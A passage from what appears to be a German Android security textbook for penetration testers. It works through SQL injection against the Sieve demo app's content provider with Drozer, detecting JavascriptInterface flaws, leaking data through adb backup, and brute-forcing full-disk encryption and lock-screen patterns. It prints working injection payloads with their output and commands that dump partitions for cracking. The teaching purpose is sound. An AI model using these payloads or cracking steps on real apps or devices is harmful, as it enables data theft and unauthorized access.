ist die von Curesec gefundene CVE-2013-627110 , die den Sperrbildschirm eines<br />

Samsung-Smartphones durch einen ähnlichen Angriff umgehen konnte.<br />

4.4 Exportierte Content Provider und SQL-Injections<br />

erkennen und ausnutzen<br />

Content Provider sind wie die zuvor erwähnten Activities eine wichtige Komponente<br />

der Android-Applikationen. Über sie werden Zugriffe von anderen Applikationen<br />

oder externen Paketen auf die eigenen Daten geregelt – also auf eine<br />

der sensibelsten Stellen innerhalb der Applikation. In den meisten Fällen sind<br />

mit diesen Content Providern direkt SQLite-Datenbanken verbunden, was nicht<br />

sonderlich verwunderlich ist, da dies bei Android-Applikationen eine der häufigsten<br />

Techniken ist, um Daten zu verwalten, und die Funktionen einer Datenbank<br />

identisch zu denen eines Content Providers sind: Beide unterstützen Methoden<br />

wie z. B. INSERT, UPDATE, DELETE oder QUERY.<br />

Bei diesen Komponenten wurde in den vergangenen Jahren oft mit fehlender<br />

Sorgfalt gearbeitet und eine Vielzahl an verwundbaren Applikationen waren<br />

die Folge. Das Problem lag bis API-Version 17 darin, dass standardmäßig alle<br />

Content Provider öffentlich waren und somit nicht vor unberechtigtem Zugriff<br />

geschützt. Google hat aus den hohen Zahlen an angreifbaren Applikationen gelernt<br />

und nun die Content Provider standardmäßig so geschützt, dass ein Zugriff<br />

ohne entsprechende Rechte nicht mehr möglich ist. Trotz allem ist dies immer<br />

noch ein guter Angriffsvektor, da zum einen einige Applikationen immer noch<br />

für ein API-Level gebaut werden, bei der dieser Schutz noch nicht vorhanden ist,<br />

und man zum anderen auch absichtlich exportierte Content Provider findet, die<br />

unzureichend geschützt sind.<br />

Betrachten wir wieder die Demo-Applikation und das Codebeispiel 4–15, so<br />

sehen wir, dass auch hier zwei Content Provider exportiert werden. Wie wir schon<br />

zuvor gesehen haben, können wir Drozer nutzen, um weitere Details zu den potenziell<br />

angreifbaren Content Provider zu erhalten.<br />

10 https://blog.curesec.com/article/blog/<br />

CVE-2013-6271-Remove-Device-Locks-from-Android-Phone-26.html


4.4 Exportierte Content Provider und SQL-Injections ... 87<br />

dz> run app.provider.info -a com.mwr.example.sieve -u<br />

Package: com.mwr.example.sieve<br />

Exported Providers:<br />

Authority: com.mwr.example.sieve.DBContentProvider<br />

Read Permission: null<br />

Write Permission: null<br />

Content Provider: com.mwr.example.sieve.DBContentProvider<br />

Multiprocess Allowed: True<br />

Grant Uri Permissions: False<br />

Path Permissions:<br />

Path: /Keys<br />

Type: PATTERN_LITERAL<br />

Read Permission: com.mwr.example.sieve.READ_KEYS<br />

Write Permission: com.mwr.example.sieve.WRITE_KEYS<br />

Authority: com.mwr.example.sieve.FileBackupProvider<br />

Read Permission: null<br />

Write Permission: null<br />

Content Provider: com.mwr.example.sieve.FileBackupProvider<br />

Multiprocess Allowed: True<br />

Grant Uri Permissions: False<br />

Hidden Providers:<br />

Codebeispiel 4–19: Auflistung weiterer Details zu exportierten und angreifbaren Content<br />

Providern mittels Drozer<br />

Wir sehen nun, dass es zwei Content Provider gibt, die exportiert werden (also<br />

potenziell direkt zugreifbar sind), aber keine, die versteckt sind (und somit nur mit<br />

Root-Rechten zugreifbar wären). Die Tatsache, dass es keine versteckten Provider<br />

gibt, hilft uns, da wir nun alle Angriffe auf die Applikation auch ohne Root-<br />

Rechte vornehmen können und dies gerade im Bereich der Risikobewertung eine<br />

wichtige Rolle spielt.<br />

In der Ausgabe von Codebeispiel 4–20 sehen wir weiterhin, dass beide<br />

Content Provider weder eine Berechtigung zum Lesen noch zum Schreiben<br />

auf ihre Ressource benötigen. Einzig der Provider com.mwr.example.sieve<br />

.DBContentProvider hat die Voraussetzung, dass man als zugreifender Prozess<br />

Lese- oder Schreibrechte auf /Keys besitzt. Nun kennen wir die Namen der potenziell<br />

angreifbaren Content Provider. Um jedoch eine Abfrage der dahinter versteckten<br />

Datenbanken machen zu können, benötigen wir die entsprechende URI.<br />

Diese erhalten wir durch folgendes Drozer-Modul:


88 4 Sicherheitsprobleme bei Android-Applikationen<br />

dz> run app.provider.finduri com.mwr.example.sieve<br />

Scanning com.mwr.example.sieve...<br />

content://com.mwr.example.sieve.DBContentProvider/<br />

content://com.mwr.example.sieve.FileBackupProvider/<br />

content://com.mwr.example.sieve.DBContentProvider<br />

content://com.mwr.example.sieve.DBContentProvider/Passwords/<br />

content://com.mwr.example.sieve.DBContentProvider/Keys/<br />

content://com.mwr.example.sieve.FileBackupProvider<br />

content://com.mwr.example.sieve.DBContentProvider/Passwords<br />

content://com.mwr.example.sieve.DBContentProvider/Keys<br />

Codebeispiel 4–20: Auflistung weiterer Details zu exportierten und angreifbaren Content<br />

Providern mittels Drozer<br />

Dies sieht schon ganz vielversprechend aus und wir können von hier aus weiter in<br />

der Angriffskette gehen. Versuchen wir nun die Datenbank Keys auszulesen, erhalten<br />

wir die zuvor schon angedeutete Fehlermeldung, dass uns die entsprechenden<br />

Berechtigungen fehlen (siehe Codebeispiel 4–21). Wie in Codebeispiel 4–22<br />

jedoch zu sehen ist, haben wir keine Probleme, die viel interessantere Datenbank<br />

Passwords auszulesen.<br />

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />

Keys<br />

Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri<br />

content://com.mwr.example.sieve.DBContentProvider/Keys from pid=7841,<br />

uid=10075 requires com.mwr.example.sieve.READ_KEYS, or<br />

grantUriPermission()<br />

Codebeispiel 4–21: SQL-Abfrage auf die Keys-Datenbank<br />

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />

Passwords<br />

| _id | service | username | password | email |<br />

| 1 | secret service | 007 | HvNARBCPtx9TAp3of (Base64-encoded) | 007@mi5.co.uk |<br />

Codebeispiel 4–22: SQL-Abfrage auf die Passwords-Datenbank<br />

Dieses Beispiel zeigt, dass exportierte Content Provider mit sensiblen Inhalten<br />

stets durch entsprechende Berechtigungen geschützt sein müssen, da sonst Angreifer<br />

leichtes Spiel bei der Exfiltration von Daten haben und – je nach Szenario –<br />

sogar noch größere Schäden anrichten können, indem sie zusätzliche Inhalte in


4.4 Exportierte Content Provider und SQL-Injections ... 89<br />

die hinterlegten Datenbanken einfügen oder dort hinterlegte Daten ändern. Des<br />

Weiteren sollte man als Entwickler nicht vergessen, dass auf einem nicht mehr<br />

vertrauenswürdigen Endgerät (z. B. nach erfolgreichem Rooting durch den Nutzer<br />

oder einen Angreifer) auch versteckte Content Provider auf diese Art und<br />

Weise ausgelesen oder manipuliert werden können.<br />

Wer mit Webapplikationen schon vertrauter ist, der weiß, dass es in diesem<br />

Zusammenhang auch weitere gängige Angriffsvektoren gibt, nämlich die SQL-<br />

Injection. SQL-Injection beschreibt eine Technik, bei der ein Angreifer SQL-<br />

Kommandos baut oder existierende Kommandos innerhalb der Applikation so<br />

verändert, dass er hierüber in der Lage ist, versteckte Daten sichtbar zu machen,<br />

zu überschreiben oder ganze Tabellen in der Datenbank zu löschen. Der Erfolg<br />

dieses Angriffs ist meist auf mangelnde Überprüfung der Nutzereingaben (engl.<br />

Input Validation) auf Applikationsebene zurückzuführen.<br />

Ähnliche Angriffe lassen sich auch auf Android gegen installierte Applikationen<br />

fahren, die wie zuvor gezeigt, einen mangelhaft geschützten Content Provider<br />

mit dahinterliegender SQLite-Datenbank besitzen.<br />

Ein guter Einstiegspunkt ist es, zu testen, ob eine bekannte URI für einen<br />

solchen Angriff anfällig ist. Am einfachsten ist dies durch Ergänzung einer erfolgreichen<br />

Anfrage um den projection-Parameter mit einem einfachen ’. Der<br />

projection-Parameter wird normalerweise als Filter über die Datenbankspalten<br />

verwendet. Unser Test sieht also wie folgt aus:<br />

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />

Passwords -- projection "'"<br />

unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT '<br />

FROM Passwords<br />

Codebeispiel 4–23: SQL-Injection-Test<br />

Wir sehen anhand der Fehlermeldung, dass auf der Codeebene keine Überprüfungen<br />

unserer Anfragen nach bestimmten Werten oder Mustern durchgeführt<br />

werden und die Anfrage direkt eine Fehlermeldung der Datenbank zur Folge hat.<br />

Grund dafür ist, dass unser Filter mit einem einfachen ’ direkt an die Datenbank<br />

durchgereicht wurde. Dies ist ein gutes Zeichen für eine erfolgreiche SQL-<br />

Injection. Versuchen wir nun also herauszufinden, welche Tabellen es noch in<br />

dieser Datenbank gibt:<br />

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />

Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"


90 4 Sicherheitsprobleme bei Android-Applikationen<br />

| type | name | tbl_name | rootpage | sql |<br />

| table | android_metadata | android_metadata | 3 | CREATE TABLE<br />

android_metadata (locale TEXT) |<br />

| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER<br />

PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |<br />

| table | Keys | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin<br />

TEXT ) |<br />

Codebeispiel 4–24: SQL-Injection, um weitere Tabellennamen der Datenbank zu erhalten<br />

Wir sehen in der Ausgabe von Codebeispiel 4–24 wieder die von weiter oben<br />

bekannte Tabelle mit dem Namen Keys. Über die Content Provider hatten wir<br />

hierauf keinen Zugriff, da uns die entsprechenden Berechtigungen gefehlt haben<br />

(siehe Codebeispiel 4–21). Aber wie sieht es aus, wenn wir eine SQL-Injection<br />

über eine andere Tabelle anstoßen, für die wir die nötigen Berechtigungen besitzen?<br />

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />

Passwords/ --projection "* FROM Keys;--"<br />

| Password | pin |<br />

| 12345678901234567890 | 4711 |<br />

Codebeispiel 4–25: SQL-Injection, um die Inhalte der Keys-Datenbank zu erhalten<br />

Nun haben wir auch die Inhalte der zuvor geschützten Tabelle auslesen können<br />

und kennen in diesem Fall alle PINs und Passwörter, die wir benötigen, um die<br />

Applikation über die GUI zu bedienen und an alle Daten zu kommen.<br />

Dieses Beispiel war recht einfach, aber mithilfe von Drozer und SQLmap11<br />

lassen sich diese SLQ-Injections auch finden, wenn sie deutlich komplexer sind.<br />

Dazu muss nur das Drozer-Modul auxiliary.webcontentresolver mit Angabe eines<br />

Ports gestartet werden. Mit localhost und diesem Port kann man SQLmap<br />

nun wie gewohnt verwenden oder alternativ sich im Browser manuell durch<br />

alle verfügbaren Content Provider und Möglichkeiten der SQL-Injection navigieren.<br />

Für einen guten »ersten Wurf« kann man auch die Drozer-Module<br />

scanner.provider.injection und scanner.provider.sqltables verwenden, sie versuchen,<br />

automatisiert nach SQL-Injections in Content Providern zu suchen.<br />

11 SQLmap: http://sqlmap.org/


4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen 91<br />

4.5 Schwachstellen des JavascriptInterface erkennen<br />

und ausnutzen<br />

Innerhalb von Android-Applikationen ist die Verwendung von WebView zum<br />

Anzeigen von Webseiten keine Seltenheit. Viele Applikationsentwickler möchten<br />

nicht zum Anzeigen von Webinhalten innerhalb der eigenen Applikation auf eine<br />

andere installierte Browserapplikation ausweichen, sondern dies direkt in der<br />

eigenen Applikation tun. Bis Android 4.4 war hierfür WebKit das Mittel der<br />

Wahl (seit Android 4.4 greift man auf Chromium zurück). WebView ist dabei<br />

extrem mächtig und erlaubt eine Vielzahl von Operationen, die dynamisch zur<br />

Laufzeit ausgeführt werden können. Diese Funktionen beinhalten z. B. Zugriff<br />

auf das Dateisystem, Laden von externen Plugins zum Wiedergeben von Flash-<br />

Inhalten, das Speichern von Passwörtern für Webseiten und auch das Ausführen<br />

von JavaScript. An diesen Fähigkeiten sieht man schon, dass der Entwickler hier<br />

ein hohes Maß an Sorgfalt an den Tag legen muss, um über das Einbauen der<br />

WebView-Komponenten nicht seine Applikation und deren Daten zu gefährden.<br />

Eine der extrem kritischen Funktionen der WebView-Komponente ist add-<br />

JavascriptInterface. Diese Funktion verbindet die native Java-Welt auf Android<br />

mit der JavaScript-Welt innerhalb einer Webseite. Somit ist es möglich, aus einer<br />

Webseite heraus durch den Entwickler vordefinierte Funktionen innerhalb<br />

der Applikation zu steuern. Um die Ausmaße zu verdeutlichen, stellen wir uns<br />

folgendes Beispiel vor:<br />

Ein Entwickler baut eine Applikation, die in der Lage ist, die auf dem Gerät<br />

gespeicherten SMS-Nachrichten auszulesen und sie auf einer speziellen Webseite<br />

(Backend) zu sichern. Dies macht er nicht per Upload oder Push-Funktionalität,<br />

sondern er hat im Backend JavaScript hinterlegt, das beim Ansurfen der Webseite<br />

ausgeführt wird und die SMS-Nachrichten vom Gerät abzieht.<br />

Ein weiteres Beispiel für die Verwendung dieser Funktionalität sind Werbenetzwerke.<br />

Sie verdienen ihr Geld im Wesentlichen mit Nutzern, die die angezeigte<br />

Werbung auch anklicken. Dazu ist es von Vorteil, wenn man den Nutzer sehr<br />

genau eingrenzen kann, um ihm auch genau die Werbung zu zeigen, für die er<br />

sich interessiert. Um dieses Profiling besser durchführen zu können, greifen viele<br />

der bekannten Netzwerke auf die Verbindung des Browsers bzw. der WebView<br />

mit nativen Java-Methoden zurück, um Informationen über Kontakte, Ortsdaten<br />

o. Ä. zu erhalten.<br />

Ein solches Szenario ist möglich durch Verwendung des JavascriptInterface<br />

innerhalb der WebView von Android und wird nur durch die Berechtigungen<br />

und den Java-Code der Applikation beschränkt. Neben der Möglichkeit, diese<br />

Funktionen missbräuchlich zu nutzen, gibt es jedoch auch noch das Problem, dass<br />

die Same Origin Policy (SOP) bei dieser »Brücke« nicht greift und somit extern<br />

eingebundene IFRAMES ebenso die Möglichkeit haben, Daten vom Smartphone<br />

selbst abzuziehen.


92 4 Sicherheitsprobleme bei Android-Applikationen<br />

Seinen negativen Höhepunkt hat diese Funktion in Android-Applikationen,<br />

die für Systeme mit einem API-Level kleiner als 17 gebaut sind. Hier kann man<br />

durch Reflection-Techniken jeglichen Java-Code auf dem Endgerät ausführen,<br />

egal ob dies vom Entwickler der Applikation so gedacht war oder nicht. Dies<br />

wurde in CVE-2012-6636 ausführlich beschrieben und ursprünglich von Neil<br />

Bergman12 entdeckt. Wirklich bekannt wurde es jedoch erst durch eine Studie von<br />

Werbenetzwerken und deren Verwundbarkeiten durch MWR13 . Ein solcher Angriff<br />

auf Applikationen mit eingebettetem verwundbarem SDK eines Werbenetzwerks<br />

ist schematisch in Abbildung 4–5 skizziert. Ab API-Level 17 gibt es einen<br />

Fix für dieses Problem, hier muss der Entwickler alle Funktionen der »Brücke«<br />

explizit mit @JavascriptInterface markieren.<br />

Abb. 4–5: Angriff auf ein SDK eines verwundbaren Werbenetzwerks<br />

Aus den oben beschriebenen Gründen ist es wichtig, dass man Applikationen<br />

genau auf die Verwendung von addJavascriptInterface prüft. Dies kann man auf<br />

zwei Arten machen:<br />

12 http://d3adend.org/blog/?p=314<br />

13 https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterfaceremote-code-execution/


4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen 93<br />

1. Mittels des Drozer-Moduls jubax.javascript<br />

2. Mittels manueller Suche der Aufrufe innerhalb einer Applikation14<br />

Hat man in Drozer das zusätzliche Modul jubax.javascript installiert, so kann<br />

man es wie in Codebeispiel 4–26 gezeigt starten und nach potenziell verwundbaren<br />

Applikationen suchen.<br />

dz> run scanner.misc.checkjavascriptbridge<br />

Package: com.google.android.ears<br />

Package: com.qualcomm.timeservice<br />

.....<br />

Package: com.google.android.apps.docs<br />

- vulnerable to WebView.addJavascriptInterface + targetSdkVersion=14<br />

.....<br />

Codebeispiel 4–26: Aufspüren des JavascriptInterface innerhalb einer Applikation mittels<br />

Drozer<br />

Per Kommandozeile kann man das Vorhandensein des JavascriptInterface wie<br />

folgt testen (der zweite Befehl sucht dabei nach Vorhandensein des Javascript-<br />

Interface-Markers, der auf ein API-Level größer als 17 hinweist):<br />

$ grep -r -n -i --include=*.java addJavascriptInterface *<br />

$ grep -r -i --include=*.java \@JavascriptInterface *<br />

Codebeispiel 4–27: Aufspüren des JavascriptInterface innerhalb einer Applikation mittels<br />

Kommandozeile<br />

Die mittels dieser beiden Methoden gefundenen Codeabschnitte sollten im Rahmen<br />

von Assessments immer sehr kritisch geprüft werden, um Schwachstellen<br />

darin auszuschließen, da diese in Verbindung mit MitM-Angriffen (wie wir sie in<br />

Abschnitt 9.2 noch kennenlernen werden) äußerst kritisch sind.<br />

14 Für die manuelle Suche per Kommandozeile ist es wichtig, dass der Sourcecode der<br />

Applikation zuvor durch Tools wie in Kapitel 3 beschrieben zurück in Java-Klassen dekompiliert<br />

wurde.


94 4 Sicherheitsprobleme bei Android-Applikationen<br />

4.6 Ungewollten Datenabfluss durch Verwendung<br />

der Backup-Funktion erkennen<br />

Wie wir in Abschnitt 4.7 noch deutlich ausführlicher sehen werden, ist die forensische<br />

Untersuchung von Daten, auf die eine Applikation zugreift, immens<br />

wichtig. Nun gibt es aber nicht nur Gefahren durch Angreifer mit privilegierten<br />

Rechten (z. B. Root-Rechte), vor denen sich die Entwickler von Applikationen<br />

schützen müssen, sondern auch eingebaute Features, die ungewollt für Probleme<br />

mit der Vertraulichkeit der Daten sorgen können.<br />

Eines dieser Features ist das Backup. Android erlaubt es jedem Applikationsentwickler,<br />

frei zu definieren, ob er es zulassen möchte, seine Applikation und<br />

deren Daten über den Backup-Prozess zu sichern, oder nicht. Dabei sind die folgenden<br />

Punkte zu beachten:<br />

1. Zum Ausführen eines Backups sind keine privilegierten Rechte notwendig, es<br />

reicht der Zugriff über die adb-Schnittstelle.<br />

2. Das Backup erfolgt auf ein System, auf dem die Sandboxen und Restriktionen<br />

von Android u. U. nicht mehr gelten.<br />

Das Backup einer Applikation mitsamt ihren Daten können wir per adb backup<br />

-apk -shared anstoßen. Im Anschluss öffnet sich auf dem Smartphone<br />

eine Applikation (siehe Abbildung 4–6), die noch nach einem Passwort<br />

fragt, mit dem das Backup geschützt werden kann. Die Angabe eines Passwortes<br />

ist dabei freiwillig.<br />

Abb. 4–6: Android-Backup-Applikation


4.7 Spurensuche im Dateisystem 95<br />

Nach einem erfolgreichen Backup erhalten wir eine Datei namens backup.ab<br />

mit allen Daten, die vom Gerät gesichert wurden. Diese Datei lässt sich mithilfe<br />

des Android Backup Extractor15 extrahieren und im Anschluss können alle<br />

enthaltenen Dateien wie gewohnt analysiert werden.<br />

Dies bedeutet also im Klartext: Wenn eine Applikation in einer ihrer Datenbanken<br />

sensible Daten verwaltet, so sind diese auf einem vertrauenswürdigen<br />

Gerät zwar durch die Sandbox der Applikation geschützt, werden aber komplett<br />

schutzlos, sobald die Applikation mitsamt ihren Daten per adb backup auf den<br />

Rechner des Analysten oder Angreifers gesichert wurde. Aus diesem Grund empfiehlt<br />

es sich, das Backup von Applikationen mit sensiblen Daten im Android-<br />

Manifest per android:allowBackup="false" zu verbieten (wie in Codebeispiel 4–28<br />

gezeigt).<br />

<br />

<br />

<br />


96 4 Sicherheitsprobleme bei Android-Applikationen<br />

es darum geht, festzustellen, ob eine Applikation auch wirklich die sensiblen Daten<br />

verschlüsselt oder besonders schützt. Handelt es sich bei den Applikationen<br />

um Firmen-Applikationen, sind deren Daten natürlich auch für Angreifer sehr<br />

gefragt, dies ist ein weiterer Punkt, weshalb man hier genau hinschauen muss.<br />

Zu Beginn schauen wir uns noch kurz an, wie Android selbst seinen Speicher<br />

verschlüsselt. Dies kann dann wichtig werden, wenn man Applikationen und Daten<br />

auf einem Smartphone auswerten möchte, bei dem man die Bildschirmsperre<br />

selbst nicht deaktivieren oder umgehen kann, oder vor hat, direkt auf einem Abbild<br />

des Speichers zu arbeiten. Nachfolgend sehen Sie, wie man den Code für die<br />

Bildschirmsperre berechnen kann, und im Anschluss erfahren Sie, wo sich interessante<br />

Daten finden lassen und wo man als Sicherheitsanalyst immer mal einen<br />

Blick hineinwerfen sollte.<br />

4.7.1 Die Vollverschlüsselung knacken<br />

Full Disk Encryption (FDE), auch Vollverschlüsselung genannt, wurde in Android<br />

3.0 eingeführt und bis Version 4.4 nur unwesentlich verändert. Das Prinzip<br />

dieser Verschlüsselung beruht auf dmcrypt und wird lediglich auf die data-<br />

Partition mit den Nutzerdaten angewendet. Diese Verschlüsselung ist transparent,<br />

was bedeutet, dass jede Schreiboperation automatisch die Verschlüsselung<br />

der Daten beinhaltet und im Gegenzug auch jede Leseoperation die Entschlüsselung<br />

der Daten automatisch im Hintergrund durchführt, bevor die Daten an<br />

die Applikation weitergegeben werden. Der Schlüssel (128 Bit) wird zufällig erzeugt<br />

und durch das Screenlock-Passwort geschützt. Im Speziellen wird bei diesen<br />

Android-Versionen AES CBC mit ESSIV:SHA256 verwendet.<br />

Android benutzt einen sogenannten Crypto Footer, um wichtige Parameter<br />

für die Verschlüsselung zu speichern. Dieser Bereich ist sehr ähnlich zu dem<br />

Partitions-Header, der von LUKS (Linux Unified Key Setup) verwendet wird,<br />

wurde aber wie so einiges bei Android auf wesentliche Werte und Funktionen<br />

beschränkt. Die wichtigsten Unterschiede sind hierbei:<br />

■<br />

■<br />

■<br />

LUKS unterstützt mehrere Passwörter für die Entschlüsselung der Partition,<br />

wohingegen Android nur ein einziges Passwort im Crypto Footer speichern<br />

kann.<br />

LUKS teilt den Schlüssel in mehrere Fragmente auf, um die Wahrscheinlichkeit<br />

zu reduzieren, dass man den gesamten Schlüssel im Speicher finden kann.<br />

Dies wird bei Android nicht unterstützt.<br />

LUKS besitzt zu dem abgelegten Schlüssel auch eine Prüfsumme, die es erlaubt,<br />

den eingegebenen Schlüssel zu verifizieren, ohne die Nutzerpartition zu<br />

entschlüsseln. Android hingegen versucht bei jeder Eingabe die Partition zu<br />

entschlüsseln und verifiziert damit das Passwort nur indirekt.<br />

Die Struktur des Crypto Footer beinhaltet neben einigen eher unwichtigen Parametern<br />

auch die folgenden wichtigen Daten: FDE-Schema-Version, Schlüssellän-


4.7 Spurensuche im Dateisystem 97<br />

ge sowie den eingesetzten Verschlüsselungsalgorithmus (aes-cbc-essiv:sha256).<br />

Direkt angrenzend an den Crypto Footer befinden sich der verschlüsselte Schlüssel<br />

und ein 16-Bit-Salt, das für die Verschlüsselung ebenfalls notwendig ist.<br />

Diese Art der Verschlüsselung ist im Allgemeinen sehr gut, obwohl sie komplett<br />

in Software implementiert ist. Aber leider gilt dies auch nur so lange, wie<br />

ein entsprechend komplexes Passwort vom Nutzer gewählt wurde. Obwohl der<br />

von Android verwendete Key-Derivation-Algorithmus (PBKDF2) dafür ausgelegt<br />

wurde, mit Passwörtern niedriger Komplexität und niedriger Entropie zu funktionieren,<br />

sind die verwendeten 2.000 Iterationen zum Ableiten des Schlüssels keine<br />

wirkliche Herausforderung mit aktueller Hardware.<br />

Da selbst aktuelle Android-Endgeräte nicht sehr leistungsfähig sind – verglichen<br />

mit PCs –, werden wir im Folgenden zeigen, wie man alle nötigen Werte<br />

vom Smartphone erhält, um so den Brute-Force-Angriff auf die Verschlüsselung<br />

des Gerätes auszuführen. Der erste Schritt dabei ist, die Partition zu finden, die<br />

den Crypto Footer gespeichert hat. Dazu suchen wir mithilfe von fstab nach einer<br />

Partition, die encryptable als Eigenschaft enthält. Auf einem Galaxy Nexus<br />

ist dies die Partition mit dem Namen metadata, wie auch im Folgenden zu sehen<br />

ist:<br />

/dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data<br />

ext4 noatime,nosuid,nodev,nomblk_io_submit,errors=panic<br />

wait,check,<br />

encryptable=/dev/block/platform/omap/omap_hsmmc.0/by-name/metadata<br />

Codebeispiel 4–29: Ausgabe der Eigenschaften der Nutzerpartition mithilfe von fstab<br />

Die Partition mit dem Namen metadata und dem enthaltenen Crypto Footer kopieren<br />

wir uns nun auf den Analyserechner, da diese für den Brute-Force-Angriff<br />

immens wichtig ist. Dies geschieht mit folgendem Befehl:<br />

adb shell dd if=/dev/block/mmcblk0p13 of=tmp_footer<br />

adb pull tmp_footer<br />

Codebeispiel 4–30: Übertragung der Metadaten-Partition auf den Analyserechner<br />

Nachdem wir nun wissen, welches die Partition mit dem Crypto Footer ist, und<br />

wir uns diese kopiert haben, holen wir uns einen kleinen Bereich der Nutzer-<br />

Partition auf den Analyserechner. Wir wählen hier nur einen kleinen Ausschnitt,<br />

um die zu entschlüsselnde Datenmenge gering zu halten und so den Vorgang der<br />

Entschlüsselung zu beschleunigen. Dazu geben wir Folgendes ein:


98 4 Sicherheitsprobleme bei Android-Applikationen<br />

adb shell dd if=/dev/block/mmcblk0p12 of=tmp_header bs=512 count=1<br />

adb pull tmp_header<br />

Codebeispiel 4–31: Übertragung der ersten 512 Byte der Nutzerdaten auf den Analyserechner<br />

Nun sind wir in Besitz aller Daten, die für einen erfolgreichen Angriff nötig sind.<br />

Den eigentlichen Angriff können wir nun entweder mithilfe von Hashcat oder<br />

einem Python-Skript von Thomas Cannon und Seyton Bradford ausführen. Da<br />

wir an anderer Stelle Hashcat verwenden werden, wollen wir uns hier anschauen,<br />

wie einfach es mit dem Python-Skript16 funktioniert. Dazu reicht der Aufruf des<br />

folgenden Befehls:<br />

python crypto_footer.py tmp_header tmp_footer (maximale PIN-Länge)<br />

Codebeispiel 4–32: Brute-Force-Angriff mithilfe der zuvor beschafften Daten<br />

Wurde das Endgerät statt mit einer PIN mit einem realen Passwort geschützt, so<br />

bleibt nur der Angriff mithilfe von Hashcat als Alternative, da das zuvor erwähnte<br />

Skript zum aktuellen Zeitpunkt nur PINs unterstützt.<br />

Exkurs: Zeiten eines Brute-Force-Angriffs bei Verwendung von PBKDF2<br />

Nach einer Studie von Nikolay Elenkov ist ein recht aktuelles Notebook mit einer<br />

NVIDIA GeForce 730M-Grafikkarte in der Lage, knapp 20.000 PBKDF2-Hashes pro<br />

Sekunde zu berechnen. Nimmt man diese Werte als Referenz, so kann man auf<br />

einem solchen Notebook 6-stellige PINs in unter 10 Sekunden berechnen und selbst<br />

6-stellige Passwörter (nur Kleinbuchstaben) lassen sich hiermit in knapp 4 Stunden<br />

berechnen.<br />

Die im Exkurs beschriebenen Angriffszeiten haben auch Google dazu bewogen,<br />

sich von PBKDF2 zu verabschieden. Seit Android 4.4 verwendet das System nun<br />

scrypt, um die Schlüssel abzuleiten. Der Vorteil bei diesem neuen Algorithmus/<br />

Verfahren liegt darin, dass es große Mengen an Speicher benötigt und so nicht<br />

mehr performant auf einer Grafikkarte ausgeführt werden kann. Trotzdem kann<br />

man zum Knacken dieser Verschlüsselung den zuvor beschriebenen Ansatz in<br />

identischer Art und Weise verwenden – der Angriff dauert jedoch deutlich länger.<br />

4.7.2 Die Bildschirmsperre angreifen<br />

Viele Android-Smartphones sind vor unberechtigtem Zugriff mit einer Bildschirmsperre<br />

geschützt. Im Wesentlichen gibt es die folgenden fünf Arten, wie<br />

16 FDE: Script für einen Brute-Force-Angriff: https://github.com/santoku/<br />

Santoku-Linux/blob/master/tools/android/android_bruteforce_stdcrypto


4.7 Spurensuche im Dateisystem 99<br />

man das Smartphone schützen kann, wobei nur die Techniken 2 bis 5 einen echten<br />

Schutz bieten:<br />

1. Gesichtserkennung<br />

2. Muster<br />

3. PIN<br />

4. Passwort<br />

5. Fingerabdruck<br />

Nachfolgend soll gezeigt werden, wie man die Bildschirmsperre per Muster (engl.<br />

Pattern oder Gesture) sowie per PIN/Passwort umgehen kann, indem man berechnet,<br />

wie die Nutzereingabe aussehen muss. Ist dies beim Pattern u. U. noch nicht<br />

verständlich, warum man dieses Muster berechnet, obwohl man als Analyst oder<br />

Angreifer den Zugriff auf das Dateisystem schon hat, wird es umso deutlicher bei<br />

den Schutzmechanismen PIN und Passwort: Benutzer von Smartphones sind sehr<br />

stark auf die Benutzbarkeit (engl. Usability) der Geräte ausgerichtet. Dies hat oft<br />

zur Folge, dass alle PINs oder Passwörter auf dem Smartphone identisch sind.<br />

Hat man also mehrere Apps auf dem Gerät, die per PIN geschützt sind, so ist es<br />

ein guter Ansatz, die PIN für die Bildschirmsperre zu berechnen und das Ergebnis<br />

bei den anderen Applikationen zu testen, um dort den Schutz zu umgehen.<br />

Beginnen wollen wir mit der Berechnung des Musters, im Anschluss schauen<br />

wir uns auch an, wie man PIN- und Passwortschutz umgeht. Da Android PIN und<br />

Passwort identisch behandelt, ist der Angriff darauf auch identisch. Lediglich der<br />

Nutzer bekommt hier optisch eine andere Eingabemaske angezeigt.<br />

Die Bildschirmsperre per Muster angreifen<br />

Die Bildschirmsperre per Muster besteht darin, dass der Nutzer des Smartphones<br />

mindestens 4 Punkte (seit Android 2.3.3, zuvor reichten 3 Punkte aus) auf einer<br />

3×3-Matrix verbindet (auf neueren Smartphones kann es auch eine 4×4-Matrix<br />

sein), ohne einen der gewählten Punkte mehrfach zu verwenden.<br />

Diese Punkte werden dann mit ihren zugehörigen Zahlenwerten als Zahlenfolge<br />

im System abgelegt. Für ein Beispiel wählen wir das in Abbildung 4–7 gezeigte<br />

Muster, das der Zahlenfolge 0–3–6–7–8 entspricht.<br />

Android speichert dieses Muster in einer Datei namens gesture.key im Verzeichnis<br />

/data/system/. Da das Ablegen dieser Zahlenfolge im Klartext nicht den<br />

allgemeinen Vorgaben für das Speichern von Passwörtern Folge leistet, wird auch<br />

in diesem Fall die Zahlenfolge mithilfe von SHA1 gehasht, sodass es nicht ohne<br />

Weiteres möglich ist, den Klartext davon zu erhalten. In unserem Fall wird also<br />

der folgende Hashwert abgelegt: c8c0b24a15dc8bbfd411427973574695230458f0.<br />

Der Nachteil bei dem hier verwendeten Verfahren ist, dass keinerlei zusätzliche<br />

Information in die Berechnung des Hashwertes einfließt. Hierdurch ist es für<br />

uns möglich, alle existierenden Kombinationen und Sperrmuster im Vorhinein zu<br />

berechnen. Das so erzeugte Wörterbuch nennt man Rainbow Table und damit ist


100 4 Sicherheitsprobleme bei Android-Applikationen<br />

